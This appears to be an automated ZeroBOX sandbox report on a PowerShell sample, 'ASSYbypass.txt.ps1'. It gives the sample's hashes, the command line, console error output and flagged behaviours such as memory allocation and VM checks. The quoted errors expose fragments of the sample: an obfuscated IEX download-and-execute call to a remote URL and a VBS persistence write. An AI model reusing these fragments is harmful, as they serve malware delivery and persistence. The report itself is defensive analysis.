Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 2, 2021, 5:08 p.m.	Oct. 2, 2021, 5:10 p.m.

Size	39.1KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`81c966333a0bef456b8ae8c55f31d111`
SHA256	`1da06875d27a3d422a61e64f1ce5fc3f63f62e88111913f0834aa7636e313645`
CRC32	`D60BB16C`
ssdeep	`192:IWAmV4X8fE5wKOU9WP4N6Mp4+OuPAwZq/SIQIA7Zc:IWAmV3fECUCMDPp7Zc`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\ASSYbypass.txt.ps1
2516

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Command line console output was observed (23 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: Invoke-Expression : Unexpected token '(' in expression or statement. console_handle: 0x0000001f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\ASSYbypass.txt.ps1:4 char:18 console_handle: 0x0000002b	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + Invoke-Expression <<<< $cc console_handle: 0x00000037	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + CategoryInfo : ParserError: ((:String) [Invoke-Expression], Par console_handle: 0x00000043	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: seException console_handle: 0x0000004f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In console_handle: 0x0000005b	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: vokeExpressionCommand console_handle: 0x00000067	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: Set-Content : Could not find a part of the path 'C:\Users\Public\Run\New.vbs'. console_handle: 0x00000087	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\ASSYbypass.txt.ps1:42 char:12 console_handle: 0x00000093	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + Set-Content <<<< -Path C:\Users\Public\Run\New.vbs -Value $Content console_handle: 0x0000009f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\Public\Run\New.vbs:Str console_handle: 0x000000ab	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: ing) [Set-Content], DirectoryNotFoundException console_handle: 0x000000b7	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + FullyQualifiedErrorId : GetContentWriterDirectoryNotFoundError,Microsoft console_handle: 0x000000c3	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: .PowerShell.Commands.SetContentCommand console_handle: 0x000000cf	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: Invoke-Expression : A positional parameter cannot be found that accepts argumen console_handle: 0x00000023	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: t 'http://3.112.173.17/ASSYServer.txt'. console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: At line:1 char:5 console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + I`EX <<<< (n`e`W`-Obj`E`c`T $EDRFGHNJMKDEFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCF console_handle: 0x00000047	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: VGBHNJSDFGH) console_handle: 0x00000053	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Invoke-Expression], Parame console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: terBindingException console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell console_handle: 0x00000077	1	1
WriteConsoleW Oct. 2, 2021, 5:08 p.m.	buffer: .Commands.InvokeExpressionCommand console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (13 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x007b3210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 2, 2021, 5:08 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0202b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0203f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02009000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06460000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05441000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05640000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x055f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0200d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:08 p.m.	process_identifier: 2516 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x065ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

ASSYbypass.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All